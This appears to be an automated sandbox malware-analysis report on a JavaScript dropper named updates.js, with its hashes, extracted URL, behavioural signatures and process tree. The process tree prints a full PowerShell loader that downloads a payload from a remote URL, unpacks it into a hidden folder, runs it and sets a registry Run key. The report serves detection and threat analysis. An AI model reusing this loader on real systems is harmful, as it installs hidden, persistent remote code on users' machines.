Analysis
-
max time kernel
120s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
03-07-2024 20:44
Static task
static1
Behavioral task
behavioral1
Sample
updates.js
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
updates.js
Resource
win10v2004-20240611-en
General
-
Target
updates.js
-
Size
7.3MB
-
MD5
69da3925220ff90aefd28766c75a04b9
-
SHA1
fbd11ad48154197617c19d06728391a72172fa58
-
SHA256
4ce41be6e6f3f37ed9a75211cbd951009b19222191fc143c12d83fa1ee48542c
-
SHA512
8c3ab680a5e5999d72f0e56c3728e035772747d0c34038eae213f86581dc191197449f769b416917cba7b90e6c2b2fa38762c8c58decea4d0fc59734b4d56516
-
SSDEEP
49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQA:v
Malware Config
Extracted
http://helpcenter.cyou/help.php?8560
http://helpcenter.cyou/help.php?8560
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2940 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2940 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2940 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2940 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2976 wrote to memory of 2940 2976 wscript.exe 28 PID 2976 wrote to memory of 2940 2976 wscript.exe 28 PID 2976 wrote to memory of 2940 2976 wscript.exe 28
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js1⤵
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $RPBHC='http://helpcenter.cyou/help.php?8560';$UAWWAWEN=(New-Object System.Net.WebClient).DownloadString($RPBHC);$RJOJJCE=[System.Convert]::FromBase64String($UAWWAWEN);$asd = Get-Random -Minimum -10 -Maximum 37; $RZPF=[System.Environment]::GetFolderPath('ApplicationData')+'\TYHEIBOHQ'+$asd;if (!(Test-Path $RZPF -PathType Container)) { New-Item -Path $RZPF -ItemType Directory };$p=Join-Path $RZPF 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$RJOJJCE);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$RZPF)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $RZPF 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $RZPF -Force; $fd.attributes='Hidden';$s=$RZPF+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='WUGHFT';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2940
-